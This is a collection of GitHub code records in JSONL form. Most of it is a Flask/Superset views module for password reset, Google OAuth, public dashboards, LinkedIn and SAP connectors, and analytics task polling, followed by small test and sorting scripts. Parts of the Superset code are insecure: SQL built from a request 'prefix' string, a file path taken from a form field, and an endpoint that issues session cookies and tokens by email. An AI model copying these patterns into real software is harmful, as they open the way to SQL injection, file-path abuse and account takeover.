q.start()\n\n signal.signal(signal.SIGTERM, q.sig_handler)\n signal.signal(signal.SIGINT, q.sig_handler)\n\n if options.get('run_once', False):\n q.stop()\n","repo_name":"TencentBlueKing/blueking-paas","sub_path":"svc-rabbitmq/tasks/management/commands/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":4374,"program_lang":"python","lang":"en","doc_type":"code","stars":134,"dataset":"github-code","pt":"32"} +{"seq_id":"7619780676","text":"from icosagon.input import InputLayer, \\\n OneHotInputLayer\nfrom icosagon.data import Data\nimport torch\nimport pytest\n\n\ndef _some_data():\n d = Data()\n d.add_node_type('Gene', 1000)\n d.add_node_type('Drug', 100)\n\n fam = d.add_relation_family('Drug-Gene', 1, 0, False)\n fam.add_relation_type('Target', 1, 0, torch.rand(100, 1000))\n\n fam = d.add_relation_family('Gene-Gene', 0, 0, False)\n fam.add_relation_type('Interaction', 0, 0, torch.rand(1000, 1000))\n\n fam = d.add_relation_family('Drug-Drug', 1, 1, False)\n fam.add_relation_type('Side Effect: Nausea', 1, 1, torch.rand(100, 100))\n fam.add_relation_type('Side Effect: Infertility', 1, 1, torch.rand(100, 100))\n fam.add_relation_type('Side Effect: Death', 1, 1, torch.rand(100, 100))\n return d\n\n\ndef test_input_layer_01():\n d = _some_data()\n for output_dim in [32, 64, 128]:\n layer = InputLayer(d, output_dim)\n assert layer.output_dim[0] == output_dim\n assert len(layer.node_reps) == 2\n assert layer.node_reps[0].shape == (1000, output_dim)\n assert layer.node_reps[1].shape == (100, output_dim)\n assert layer.data == d\n\n\ndef test_input_layer_02():\n d = _some_data()\n layer = InputLayer(d, 32)\n res = layer(None)\n assert isinstance(res[0], torch.Tensor)\n assert isinstance(res[1], torch.Tensor)\n assert res[0].shape == (1000, 32)\n assert res[1].shape == (100, 32)\n assert torch.all(res[0] == layer.node_reps[0])\n assert torch.all(res[1] == layer.node_reps[1])\n\n\ndef test_input_layer_03():\n if torch.cuda.device_count() == 0:\n pytest.skip('No CUDA devices on this host')\n d = _some_data()\n layer = InputLayer(d, 32)\n device = torch.device('cuda:0')\n layer = layer.to(device)\n print(list(layer.parameters()))\n # assert layer.device.type == 'cuda:0'\n assert layer.node_reps[0].device == device\n assert layer.node_reps[1].device == device\n\n\ndef test_input_layer_04():\n d = _some_data()\n layer = InputLayer(d, 32)\n s = repr(layer)\n assert s.startswith('Icosagon input layer')\n\n\ndef test_one_hot_input_layer_01():\n d = _some_data()\n layer = OneHotInputLayer(d)\n assert layer.output_dim == [1000, 100]\n assert len(layer.node_reps) == 2\n assert layer.node_reps[0].shape == (1000, 1000)\n assert layer.node_reps[1].shape == (100, 100)\n assert layer.data == d\n assert layer.is_sparse\n\n\ndef test_one_hot_input_layer_02():\n d = _some_data()\n layer = OneHotInputLayer(d)\n res = layer(None)\n assert isinstance(res[0], torch.Tensor)\n assert isinstance(res[1], torch.Tensor)\n assert res[0].shape == (1000, 1000)\n assert res[1].shape == (100, 100)\n assert torch.all(res[0].to_dense() == layer.node_reps[0].to_dense())\n assert torch.all(res[1].to_dense() == layer.node_reps[1].to_dense())\n\n\ndef test_one_hot_input_layer_03():\n if torch.cuda.device_count() == 0:\n pytest.skip('No CUDA devices on this host')\n d = _some_data()\n layer = OneHotInputLayer(d)\n device = torch.device('cuda:0')\n layer = layer.to(device)\n print(list(layer.parameters()))\n # assert layer.device.type == 'cuda:0'\n assert layer.node_reps[0].device == device\n assert layer.node_reps[1].device == device\n\n\ndef test_one_hot_input_layer_04():\n d = _some_data()\n layer = OneHotInputLayer(d)\n s = repr(layer)\n assert s.startswith('Icosagon one-hot input layer')\n","repo_name":"yangYlin/decagon-pytorch","sub_path":"decagon-pytorch/tests/icosagon/test_input.py","file_name":"test_input.py","file_ext":"py","file_size_in_byte":3415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32058828890","text":"from time import time\r\nfrom random import shuffle\r\n\r\n\r\ndef selection_sort(v):\r\n i = 0\r\n\r\n while i < len(v) - 1:\r\n menor = i\r\n j = i + 1\r\n # em busca do menor\r\n while j < len(v):\r\n if v[j] < v[menor]:\r\n menor = j\r\n j += 1\r\n\r\n if menor != i:\r\n temp = v[i]\r\n v[i] = v[menor]\r\n v[menor] = temp\r\n\r\n i += 1\r\n\r\n\r\nvetor = list(range(0, 10000))\r\n\r\nshuffle(vetor)\r\n\r\nantes = time()\r\nselection_sort(vetor)\r\ndepois = time()\r\ntotal = (depois - antes) * 1000\r\nprint(\"Tempo total: {:.2f} ms\".format(total))","repo_name":"walterpalladino/terrain-spawner","sub_path":"uast/AED/AED 2018.2/ordenação/originais/selection_sort.py","file_name":"selection_sort.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"16333460197","text":"def weirdSubtract(n, k):\r\n c = lambda list: int(\"\".join(map(str, list)))\r\n n = list(str(n))\r\n while (k != 0):\r\n if n[-1] == '0':\r\n del n[-1]\r\n k = k-1\r\n else:\r\n n = c(n)\r\n n=n-1\r\n k = k - 1\r\n if k > n :\r\n print(\"0\")\r\n exit()\r\n n = list(str(n))\r\n if k== 0:break\r\n if k==0:\r\n n = c(n)\r\n print(n)\r\nn, s = input(\"Enter num and sub : \").split()\r\nweirdSubtract(int(n), int(s))","repo_name":"Paramee0598/Data_Structures_ExAndTest","sub_path":"ch2/ex22.py","file_name":"ex22.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15956881719","text":"from asyncio.log import logger\nimport logging\nimport dialogflow_v2 as dialogflow\nimport datetime\nimport os\nimport re\nimport simplejson as json\nimport uuid\nfrom flask import request, g, flash, session, redirect, abort, Response\nfrom flask_login import login_user\nfrom flask_appbuilder import expose\nfrom flask_wtf.form import FlaskForm\nfrom flask_appbuilder.security.sqla import models as ab_models\nfrom wtforms import StringField, PasswordField\nfrom wtforms.validators import Email, DataRequired, EqualTo\nfrom superset.models.dashboard import Dashboard\nfrom superset.utils import core as utils\nfrom superset.utils import hubspot_registration\n\nfrom superset import (\n appbuilder,\n db,\n security_manager,\n google,\n app,\n event_logger\n)\nfrom sqlalchemy.exc import IntegrityError\nfrom superset.connectors.sqla.models import TableColumn, SqlaTable\nfrom superset.connectors.connector_registry import ConnectorRegistry\nfrom superset.utils.token import get_token, verify_token\nfrom superset.utils.mailgun import MailGun\nfrom superset.billing.utils import activate_trial\nfrom superset.models.custom import CustomOntology\nfrom superset.utils.fulfillment import (\n get_list_entity,\n get_status_train_before,\n train_mapping,\n get_status_train_process\n)\nfrom superset.models import custom as modelsCustom\nfrom superset.models.slice import Slice\nfrom .base import (\n BaseSupersetView,\n DeleteMixin,\n SupersetModelView,\n common_bootstrap_payload,\n check_ownership,\n json_success\n)\nfrom flask_appbuilder.models.sqla.interface import SQLAInterface\nfrom flask_babel import lazy_gettext as _\nfrom flask_appbuilder.security.decorators import has_access\n\nfrom superset.prediction.causal_inference import causal_inference_task\nfrom superset.prediction.forecast import forecast_task\nfrom superset.prediction.correlation import correlation_task\nfrom superset.prediction.regression import regression_task\nfrom superset.prediction.sentiment_analysis import sentiment_task\nfrom superset.prediction.classification import classification_task\nfrom superset.prediction.clustering import clustering_task\nfrom superset.prediction.data_imputation import data_imputation_task\nfrom superset.prediction.stats_models import anova_task\n\nfrom werkzeug import check_password_hash\nimport requests\nfrom sqlalchemy import or_\nfrom flask_appbuilder.api import BaseApi, expose, protect, safe\nfrom superset.utils.stripe import Stripe\n\nclass ForgotPassword(FlaskForm):\n email = StringField(\"Email\", validators=[DataRequired(), Email()])\n\n\nclass ResetPassword(FlaskForm):\n token = StringField(\"Token\", validators=[DataRequired()])\n password = PasswordField('Password', validators=[DataRequired()])\n confirm_password = PasswordField('Confirm Password', validators=[\n DataRequired(), EqualTo('password')])\n\n\nclass OverfitView(BaseSupersetView):\n \"\"\"The custom views for Superset!\"\"\"\n route_base = \"/\"\n\n @has_access\n @expose(\"/docs/\", methods=[\"GET\"])\n def docs(self):\n \"\"\"Docs redirect link superset\"\"\"\n docs_link = app.config.get(\"DOCS_LINK\")\n return redirect(docs_link, code=302)\n\n @expose(\"/dialogflow/\", methods=[\"GET\", \"POST\"])\n def chat(self):\n \"\"\"The chat views for Superset!\"\"\"\n app_name = app.config.get(\"APP_NAME\")\n form = FlaskForm()\n return self.render_template(\n \"superset/dialog_flow.html\",\n bootstrap_data=json.dumps({\"app_name\": app_name}),\n entry=\"dialogflow\",\n title=\"Dialogflow Client\",\n form=form,\n )\n\n\n @has_access\n @expose(\"/api/dialogflow\", methods=[\"POST\"])\n def send_message(self):\n message = request.form.get('message')\n username = g.user.username\n user = (\n db.session.query(ab_models.User).filter_by(\n username=username).one_or_none()\n )\n send_mes = {\n 'message': message,\n 'userEmail': user.email,\n 'supersetDomain': app.config.get(\"SUPERSET_DOMAIN\"),\n }\n project_id = os.environ.get(\"DIALOGFLOW_PROJECT_ID\")\n fulfillment_text = self.detect_intent_texts(\n project_id, uuid.uuid4(), json.dumps(send_mes), 'en')\n response_text = {'message': fulfillment_text}\n\n return json.dumps(response_text)\n\n def detect_intent_texts(self, project_id, session_id, text, language_code):\n session_client = dialogflow.SessionsClient()\n session = session_client.session_path(project_id, session_id)\n if text:\n text_input = dialogflow.types.TextInput(\n text=text, language_code=language_code)\n query_input = dialogflow.types.QueryInput(text=text_input)\n response = session_client.detect_intent(\n session=session, query_input=query_input)\n try:\n response_text = response.query_result.fulfillment_messages[0] \\\n .simple_responses.simple_responses[0].display_text\n except Exception:\n response_text = response.query_result.fulfillment_text\n return response_text\n\n @expose(\"/forgotpassword/\", methods=[\"GET\", \"POST\"])\n def forgot_password(self):\n if not g.user.is_anonymous:\n return redirect(\"/\")\n\n form = ForgotPassword(request.form)\n if request.method == \"POST\":\n if form.validate():\n email = request.form.get('email')\n user = db.session.query(ab_models.User).filter_by(\n email=email).first()\n if user:\n mail_gun = MailGun()\n mail_gun.send_forgot_password(\n email, get_token(user.get_id()))\n\n content = \"If the email you specified exists in our system, \" \\\n \"we've sent a password reset link to it.\"\n return self.render_template(\n \"superset/forgot_password_notify.html\", content=content)\n else:\n flash(\"Incorrect format\", \"danger\")\n\n return self.render_template(\"superset/forgot_password.html\",\n form=form)\n\n @expose(\"/api/correlation/save-job/\", methods=[\"POST\"])\n def save_correlation_job(self, job_id):\n task = correlation_job.delay(job_id)\n return json.dumps({\"task_id\": task.id})\n\n @expose(\"/api/correlation/task/\", methods=[\"GET\"])\n def get_correlcation_job(self, task_id):\n task = correlation_job.AsyncResult(task_id)\n if task.state != \"SUCCESS\":\n return {\n \"data\": [],\n \"status\": task.state\n }\n return task.get()\n\n @expose(\"/resetpassword/\", methods=[\"GET\", \"POST\"])\n def reset_password(self):\n if not g.user.is_anonymous:\n return redirect(\"/\")\n\n token = request.args.get(\"token\", None)\n id = verify_token(token)\n if id is None:\n content = \"Sorry, the link has expired. Please return to the \" \\\n \"Reset Password \" \\\n \"page to submit a new request.\"\n return self.render_template(\"superset/forgot_password_notify.html\",\n content=content)\n\n form = ResetPassword(token=token)\n if request.method == \"POST\":\n if form.validate():\n appbuilder.sm.reset_password(id, request.form.get(\"password\"))\n content = \"Your password has been reset successfully! \" \\\n \"Go to Login page.\"\n return self.render_template(\n \"superset/forgot_password_notify.html\", content=content)\n else:\n flash(\"Confirm password doesn't match\", \"danger\")\n\n return self.render_template(\"superset/reset_password.html\",\n form=form)\n\n @has_access\n @expose(\"/api/task/\", methods=[\"DELETE\"])\n def cancel_task(self, task_id):\n from superset.extensions import celery_app\n celery_app.control.revoke(task_id, terminate=True, signal=\"SIGTERM\")\n return json.dumps({\"success\": True})\n\n @has_access\n @expose(\"/api/chart/\", methods=[\"PUT\"])\n def update_taskid_chart(self, chart_id):\n chart = db.session.query(Slice).filter_by(id=chart_id).one()\n params = json.loads(chart.params)\n params[\"taskId\"] = request.json.get('taskId')\n db.session.query(Slice).filter_by(\n id=chart_id).update({\"params\": json.dumps(params)})\n db.session.commit()\n return json.dumps({\"success\": True})\n\n @expose(\"/dashboard/public//\")\n def dashboardPublic(self, dashboard_id):\n form = ForgotPassword(request.form)\n \"\"\"Server side rendering for a dashboard\"\"\"\n session = db.session()\n qry = session.query(Dashboard)\n if dashboard_id.isdigit():\n qry = qry.filter_by(id=int(dashboard_id))\n else:\n qry = qry.filter_by(uuid=dashboard_id)\n\n dash = qry.one_or_none()\n if not dash:\n abort(404)\n datasources = set()\n for slc in dash.slices:\n datasource = slc.datasource\n if datasource:\n datasources.add(datasource)\n\n config = app.config\n if config[\"ENABLE_ACCESS_REQUEST\"]:\n for datasource in datasources:\n if datasource and not security_manager.can_access_datasource(datasource):\n flash(\n _(\n security_manager.get_datasource_access_error_msg(datasource)\n ),\n \"danger\",\n )\n return redirect(\n \"superset/request_access/?\" f\"dashboard_id={dash.id}&\"\n )\n\n dash_edit_perm = check_ownership(\n dash, raise_if_false=False\n ) and security_manager.can_access(\"can_save_dash\", \"Superset\")\n dash_save_perm = security_manager.can_access(\"can_save_dash\", \"Superset\")\n superset_can_explore = security_manager.can_access(\"can_explore\", \"Superset\")\n superset_can_csv = security_manager.can_access(\"can_csv\", \"Superset\")\n slice_can_edit = security_manager.can_access(\"can_edit\", \"SliceModelView\")\n\n standalone_mode = (\n request.args.get(utils.ReservedUrlParameters.STANDALONE.value) == \"true\"\n )\n\n # Hack to log the dashboard_id properly, even when getting a slug\n @event_logger.log_this\n def dashboard(**kwargs):\n pass\n\n dashboard(\n dashboard_id=dash.id,\n dashboard_version=\"v2\",\n dash_edit_perm=False,\n edit_mode=False,\n )\n\n dashboard_data = dash.data\n dashboard_data.update(\n {\n \"standalone_mode\": standalone_mode,\n \"dash_save_perm\": dash_save_perm,\n \"dash_edit_perm\": dash_edit_perm,\n \"superset_can_explore\": superset_can_explore,\n \"superset_can_csv\": superset_can_csv,\n \"slice_can_edit\": slice_can_edit,\n }\n )\n url_params = {\n key: value\n for key, value in request.args.items()\n if key not in [param.value for param in utils.ReservedUrlParameters]\n }\n\n env_config = {\n \"CLASSIFICATION_ANALYTICS_FEATURE\": app.config.get('CLASSIFICATION_ANALYTICS_FEATURE'),\n \"REGRESSION_ANALYTICS_FEATURE\": app.config.get('REGRESSION_ANALYTICS_FEATURE'),\n \"SUNBURST_CHART_FEATURE\": app.config.get('SUNBURST_CHART_FEATURE'),\n \"SANKEY_DIAGRAM_FEATURE\": app.config.get('SANKEY_DIAGRAM_FEATURE'),\n \"NIGHTINGALE_ROSE_CHART_FEATURE\": app.config.get('NIGHTINGALE_ROSE_CHART_FEATURE'),\n \"PARTITION_CHART_FEATURE\": app.config.get('PARTITION_CHART_FEATURE'),\n \"FORCE_DIRECTED_GRAPH_FEATURE\": app.config.get('FORCE_DIRECTED_GRAPH_FEATURE'),\n \"CHORD_DIAGRAM_FEATURE\": app.config.get('CHORD_DIAGRAM_FEATURE'),\n \"DASHBOARD_FEATURE\": app.config.get('DASHBOARD_FEATURE'),\n }\n bootstrap_data = {\n \"user_id\": g.user.get_id(),\n \"dashboard_data\": dashboard_data,\n \"datasources\": {ds.uid: ds.data for ds in datasources},\n \"common\": common_bootstrap_payload(True),\n \"editMode\": False,\n \"urlParams\": url_params,\n \"env\": env_config,\n \"anonymous\": True,\n }\n\n if not dash.is_public:\n if not g.user.is_anonymous:\n return self.render_template(\n \"superset/dashboard.html\",\n entry=\"dashboard\",\n form=form,\n bootstrap_data=json.dumps(\n bootstrap_data, default=utils.pessimistic_json_iso_dttm_ser\n )\n )\n else:\n bootstrap_data.update({\"message\": \"This dashboard is no longer public\"})\n return self.render_template(\n \"superset/dashboard_public.html\",\n entry=\"dashboard\",\n form=form,\n bootstrap_data=json.dumps(\n bootstrap_data, default=utils.pessimistic_json_iso_dttm_ser\n )\n )\n\n if request.args.get(\"json\") == \"true\":\n return json_success(\n json.dumps(bootstrap_data, default=utils.pessimistic_json_iso_dttm_ser)\n )\n\n return self.render_template(\n \"superset/dashboard_public.html\",\n entry=\"dashboard\",\n standalone_mode=standalone_mode,\n title=dash.dashboard_title,\n bootstrap_data=json.dumps(\n bootstrap_data, default=utils.pessimistic_json_iso_dttm_ser\n ),\n form=form\n )\n\n @expose(\"/api/table/check-existed\", methods=[\"POST\"])\n def linkedin_check_table_existed(self):\n import logging\n prefix = request.form['prefix'].replace('\"','')\n existed_table = db.session.query(SqlaTable).filter_by(table_name='{}_profile'.format(prefix)).one_or_none()\n logging.info(existed_table)\n if existed_table:\n flash('Table with prefix {} has been existed'.format(prefix), 'danger')\n return json.dumps({\"message\": 'OK'.format(prefix), \"status\": False})\n\n return json.dumps({\"message\": 'OK'.format(prefix), \"status\": True})\n\n # Check for table existence when running plugin from google sheet\n @has_access\n @expose(\"/api/databases//tables/\", methods=[\"GET\"])\n def check_table_exists_by_name(self, database_id, table_name):\n from urllib.parse import unquote\n\n table = db.session.query(SqlaTable).filter_by(table_name=unquote(table_name), database_id=database_id).one_or_none()\n if not table:\n return json.dumps({\"is_existed\": False})\n return json.dumps({\"is_existed\": True, \"id\": table.id})\n\nclass ActableConfigView(SupersetModelView, DeleteMixin):\n route_base = \"/system-config\"\n datamodel = SQLAInterface(modelsCustom.ActableConfig)\n\n list_title = _(\"Actable Config\")\n list_columns = ['name', 'value', 'changed_by_', 'changed_on_']\n add_columns = [\"name\", \"value\"]\n edit_columns = add_columns\n search_columns = ('name', 'value')\n\n\nclass SapModelView(SupersetModelView, DeleteMixin):\n route_base = \"/sap\"\n datamodel = SQLAInterface(modelsCustom.SapConnectInfo)\n\n list_title = _(\"Sap Connect Info\")\n\n label_columns = {\n 'running': 'Status'\n }\n\n list_columns = [\n \"end_point\",\n \"api_key\",\n 'success',\n 'running',\n ]\n edit_columns = [\n \"name\",\n \"end_point\",\n \"api_key\",\n ]\n order_columns = [\"\"]\n\n @expose(\"/add\", methods=[\"GET\", \"POST\"])\n @has_access\n def add(self):\n if request.method == 'GET':\n return self.render_template(\n \"superset/basic.html\",\n bootstrap_data=json.dumps({}),\n entry=\"sap\",\n title=\"Connection to SAP\"\n )\n\n if request.method == 'POST':\n try:\n existing_con = (\n db.session.query(modelsCustom.SapConnectInfo)\n .filter_by(end_point=request.form['end_point'].strip(),\n api_key=request.form['api_key'].strip())\n .one_or_none()\n )\n if existing_con:\n existing_con.group_id = request.form['group_id'].strip()\n db.session.commit()\n else:\n newForm = modelsCustom.SapConnectInfo(\n request.form['name'].strip(),\n request.form['end_point'].strip(),\n request.form['api_key'].strip(),\n request.form['group_id'].strip(),\n )\n db.session.add(newForm)\n db.session.commit()\n return {\n 'message': 'Success'\n }\n except Exception:\n return {\n 'message': 'error'\n }\n\n\nclass LinkedinModelView(SupersetModelView, DeleteMixin):\n route_base = \"/linkedin\"\n datamodel = SQLAInterface(modelsCustom.LinkedinConnectInfo)\n\n label_columns = {\n 'running': 'Status',\n \"prefix\": _(\"Table prefix\"),\n }\n\n list_title = _('Linkedin connect information')\n edit_title = _('Edit linkedin connect information')\n order_columns = [\"\"]\n\n list_columns = [\n \"email\",\n \"prefix\",\n 'sample_rate',\n 'success',\n 'running',\n ]\n\n edit_columns = None\n\n @expose(\"/add\", methods=[\"GET\", \"POST\"])\n @has_access\n def add(self):\n if request.method == 'GET':\n return self.render_template(\n \"superset/basic.html\",\n bootstrap_data=json.dumps({'email': g.user.email}),\n entry=\"linkedin\",\n title=\"Add linkedin connect info\"\n )\n\n if request.method == 'POST':\n prefix = request.form['prefix'].lower()\n existTable = db.session.query(SqlaTable).filter_by(table_name=prefix + '_profile').one_or_none()\n if existTable:\n flash('Table has been existed', 'danger')\n return redirect(\"/linkedin/list/\")\n try:\n profile_query = 'CREATE TABLE IF NOT EXISTS {}_profile (path text primary key, name text, title text, ' \\\n 'location text); ' \\\n 'CREATE TABLE IF NOT EXISTS {}_experience (profile_path text,title text,' \\\n 'company_name text, company_path text, from_date text, to_date text, primary key(' \\\n 'profile_path, company_path, from_date)); ' \\\n 'CREATE TABLE IF NOT EXISTS {}_education (profile_path text, school_path text, ' \\\n 'school_name text, specialized text, from_date text, to_date text, primary key(' \\\n 'profile_path, school_path, from_date)); ' \\\n 'CREATE TABLE IF NOT EXISTS {}_license_certification(profile_path text, ' \\\n 'title text, company_path text, company_name text, issued_date text, primary key(' \\\n 'profile_path, title, company_path)); ' \\\n 'CREATE TABLE IF NOT EXISTS {}_skill(profile_path text, title text, endorsed int, ' \\\n 'primary key(profile_path, title)); '.format(prefix, prefix, prefix, prefix, prefix)\n\n db.session.execute(profile_query)\n\n database = utils.get_example_database()\n profile_obj = SqlaTable(table_name=prefix + \"_profile\")\n experience_obj = SqlaTable(table_name=prefix + \"_experience\")\n education_obj = SqlaTable(table_name=prefix + \"_education\")\n certificate_obj = SqlaTable(table_name=prefix + \"_license_certification\")\n skill_obj = SqlaTable(table_name=prefix + \"_skill\")\n\n profile_obj.database = database\n experience_obj.database = database\n education_obj.database = database\n certificate_obj.database = database\n skill_obj.database = database\n\n db.session.merge(profile_obj)\n db.session.merge(experience_obj)\n db.session.merge(education_obj)\n db.session.merge(certificate_obj)\n db.session.merge(skill_obj)\n\n db.session.commit()\n\n profile_obj.fetch_metadata()\n experience_obj.fetch_metadata()\n education_obj.fetch_metadata()\n certificate_obj.fetch_metadata()\n skill_obj.fetch_metadata()\n\n new_form = modelsCustom.LinkedinConnectInfo(\n request.form['email'],\n request.form['group_id'],\n request.form['search_url'],\n request.form['prefix'].lower(),\n request.form['sample_rate'],\n 1,\n 0,\n request.form['temp_cookies'],\n )\n\n db.session.add(new_form)\n db.session.commit()\n return {\n 'message': 'success'\n }\n except Exception as e:\n return {\n 'message': e\n }\n\n\nclass MappingEntityView(BaseSupersetView):\n \"\"\"The mappine entity views for Superset!\"\"\"\n route_base = \"/mappingentity\"\n\n @has_access\n @expose(\"/\")\n def mapping_entity(self):\n query = ConnectorRegistry.get_all_datasources(db.session)\n tables = []\n if security_manager.can_access_all_databases():\n tables = query\n else:\n for table in query:\n if (\n security_manager.can_access(\n \"datasource_access\", table.perm)\n or security_manager.datasource_access_owned(table)\n ):\n tables.append(table)\n\n status = get_status_train_before()\n entities = get_list_entity()\n custom_entities = db.session.query(CustomOntology.name).all()\n custom_entities_list = [\n e.name for e in custom_entities if e.name is not None]\n result_list = list(set(entities) | set(custom_entities_list))\n list_tables = [\n {\n \"id\": t.id,\n \"table_name\": t.table_name,\n \"entity\": t.entity,\n \"database\": t.database.database_name\n } for t in tables\n ]\n\n return self.render_template(\n \"superset/basic.html\",\n bootstrap_data=json.dumps(\n {\"list_tables\": sorted(\n list_tables, key=lambda d: d[\"table_name\"]),\n \"entities\": result_list, \"status\": status}),\n entry=\"mapping\",\n title=\"Mapping entity\")\n\n @has_access\n @expose(\"/api/tables/\", methods=[\"PUT\"])\n def upadte_table(self, id):\n entity = request.form.get('entity')\n try:\n if entity is None:\n list_column = db.session.query(TableColumn).filter_by(\n table_id=id).all()\n for elem in list_column:\n db.session.query(\n TableColumn).filter_by(\n id=elem.id).update({\"entity\": None})\n db.session.query(\n SqlaTable).filter_by(id=id).update({\"entity\": entity})\n db.session.commit()\n return json.dumps({\"status\": True})\n except IntegrityError:\n return json.dumps({\"status\": False})\n\n @has_access\n @expose(\"/api/columns/\", methods=[\"PUT\"])\n def update_column(self, id):\n entity = request.form.get('entity')\n try:\n db.session.query(\n TableColumn).filter_by(id=id).update({\"entity\": entity})\n db.session.commit()\n return json.dumps({\"status\": True})\n except IntegrityError:\n return json.dumps({\"status\": False})\n\n @has_access\n @expose(\"/api//columns\")\n def get_columns(self, table_id):\n columns = db.session.query(TableColumn).filter_by(\n table_id=table_id).all()\n columns = [{\n \"id\": d.id,\n \"column_name\": d.column_name,\n \"entity\": d.entity} for d in columns]\n\n return json.dumps(\n {\"columns\": sorted(columns, key=lambda d: d[\"column_name\"])}\n )\n\n @has_access\n @expose(\"/api/train\", methods=[\"POST\"])\n def train_rasa(self):\n r = train_mapping()\n if r.status_code != 200:\n return json.dumps(\"ERROR\")\n\n data = r.json()\n return json.dumps(data[\"data\"][\"status\"])\n\n @has_access\n @expose(\"/api/get-status-train\")\n def get_status_train(self):\n status = get_status_train_process()\n return json.dumps(status)\n\n\nclass OauthLoginView(BaseSupersetView):\n \"\"\"The login views for Superset!\"\"\"\n route_base = \"/oauth\"\n\n @expose(\"/google\")\n def google(self):\n nextUrl = request.args.get('next', '/')\n session['nextUrl'] = nextUrl\n if not g.user.is_anonymous:\n return redirect(\"/\")\n\n callback_url = app.config.get(\"SUPERSET_DOMAIN\") \\\n + \"/oauth/google/authorized\"\n return google.authorize(callback=callback_url)\n\n @expose(\"/google/authorized\")\n def google_authorized(self):\n resp = google.authorized_response()\n if resp is None:\n flash(\"Incorrect format\", \"error\")\n return redirect(\"/login\")\n\n session['google_token'] = (resp['access_token'], '')\n me = google.get('userinfo')\n email = me.data[\"email\"]\n m = re.match(r\"(.+)@.+\", email)\n username = m.group(1)\n user = db.session.query(ab_models.User).filter(or_(ab_models.User.email == email,\n ab_models.User.username == username)).first()\n if user is None:\n role_beta = security_manager.find_role(\"Beta\")\n if 'family_name' in me.data:\n user = security_manager.add_user(\n username, me.data[\"given_name\"], me.data[\"family_name\"],\n me.data[\"email\"], role_beta, str(uuid.uuid4())[:8]\n )\n else:\n user = security_manager.add_user(\n username, me.data[\"given_name\"], me.data[\"given_name\"],\n me.data[\"email\"], role_beta, str(uuid.uuid4())[:8]\n )\n\n hubspot_registration(user, route='/oauth/google')\n\n if user.login_count is None:\n user.login_count = 0\n user.login_count += 1\n user.last_login = datetime.datetime.now()\n db.session.commit()\n login_user(user)\n\n nextUrl = request.args.get('state') or '/'\n return redirect(nextUrl)\n\n @expose(\"/googlesheet/\")\n def login_googlesheet(self, email):\n from flask_jwt_extended import create_access_token\n from superset.tasks.schedules import _get_auth_cookies_by_email\n api_key_whitelist = app.config.get(\"API_KEY_WHITELIST\")\n access_apikey = request.args.get(\"apikey\")\n if not (access_apikey in api_key_whitelist):\n return json.dumps({\"status\": 401, \"auth\": False})\n\n user = security_manager.find_user(email=email)\n if user is None:\n m = re.match(r\"(.+)@.+\", email)\n name = m.group(1)\n role_beta = security_manager.find_role(\"Beta\")\n user = security_manager.add_user(\n email, name, name,\n email, role_beta, str(uuid.uuid4())[:8]\n )\n hubspot_registration(user, route='/oauth/googlesheet')\n activate_trial(user.id)\n\n access_token = create_access_token(identity=user.id, fresh=True)\n return json.dumps({\n \"status\": 200,\n \"access_token\": access_token,\n \"session\": _get_auth_cookies_by_email(email)[0],\n \"user\": {\n \"id\": user.id,\n \"username\": user.username\n }\n })\n\n\nclass ArchiveOrganizationView(BaseSupersetView):\n route_base = \"/archive-organization\"\n\n @has_access\n @expose('/')\n def archiveOrgazination(self):\n # return self.render_template(\n # \"superset/archive_organization.html\")\n return self.render_template(\n \"superset/basic.html\",\n bootstrap_data=json.dumps({}),\n entry=\"archiveOrganization\",\n title=\"Archive Organization\"\n )\n\n @expose('/check-password', methods=['POST'])\n def check_password(self):\n passwordhash = g.user.password\n password = request.form['password']\n result = check_password_hash(passwordhash, password)\n return json.dumps(result)\n\n\nclass ProfileView(BaseSupersetView):\n route_base = \"/\"\n\n @expose('/profile/me')\n def profile(self):\n username = g.user.username\n return redirect('/superset/profile/' + username)\n\n\nclass SettingsCustomView(BaseSupersetView):\n route_base = \"/settings\"\n\n @expose('/list')\n def list(self):\n return 'settings'\n\n\nclass TemplateManageView(BaseSupersetView):\n route_base = \"/templates\"\n\n @expose('/upload', methods=['POST'])\n def upload(self):\n file_name = request.form['file_name']\n nifi_host = app.config.get('NIFI_HOST')\n process_root_url = nifi_host + '/nifi-api/process-groups/root'\n process_root = requests.get(process_root_url)\n process_root_id = process_root.json()['component']['id']\n upload_template_url = \"{}/nifi-api/process-groups/{}/templates/\" \\\n \"upload\".format(nifi_host, process_root_id)\n file = {'template': open('/nifi-templates/{}'.format(file_name), 'rb')}\n requests.post(upload_template_url, files=file)\n return json.dumps(True)\n\n\nclass OntologyModelView(SupersetModelView):\n route_base = \"/ontology\"\n datamodel = SQLAInterface(modelsCustom.CustomOntology)\n\n list_title = _(\"Custom Ontology\")\n\n label_columns = {\n 'running': 'Status'\n }\n\n list_columns = [\n \"name\",\n \"description\",\n \"synonyms\"\n ]\n edit_columns = [\n \"name\",\n \"description\",\n \"synonyms\"\n ]\n add_columns = [\n \"name\",\n \"description\",\n \"synonyms\"\n ]\n order_columns = [\"\"]\n\n\nclass TaskPolling(BaseSupersetView):\n route_base = \"/\"\n\n @expose(\"//api/task/\")\n def polling_data_analytics(self, type_viz, task_id):\n tasks = {\n \"anova\": anova_task,\n \"causal_inference\": causal_inference_task,\n \"classification\": classification_task,\n \"regression\": regression_task,\n \"timeseries\": forecast_task,\n \"tsne\": clustering_task,\n \"cleandata\": data_imputation_task,\n \"correlation\": correlation_task,\n \"sentiment\": sentiment_task,\n }\n\n task = tasks.get(type_viz).AsyncResult(task_id)\n if task.state != \"SUCCESS\":\n data = {\n \"classification\": {\n \"status\": task.state,\n },\n \"regression\": {\n \"status\": task.state,\n },\n \"timeseries\": {\n \"status\": task.state,\n },\n \"tsne\": {\n \"status\": task.state,\n },\n \"cleandata\": {\n \"status\": task.state,\n },\n \"correlation\": {\n \"status\": task.state,\n },\n \"sentiment\": {\n \"status\": task.state,\n },\n \"causal_inference\": {\n \"status\": task.state,\n },\n \"anova\": {\n \"status\": task.state,\n },\n \"bayesian_regression\": {\n \"status\": task.state,\n }\n }\n\n return data.get(type_viz)\n\n return task.get()\n\n\nclass TaskApi(BaseApi):\n\n resource_name = \"tasks\"\n\n 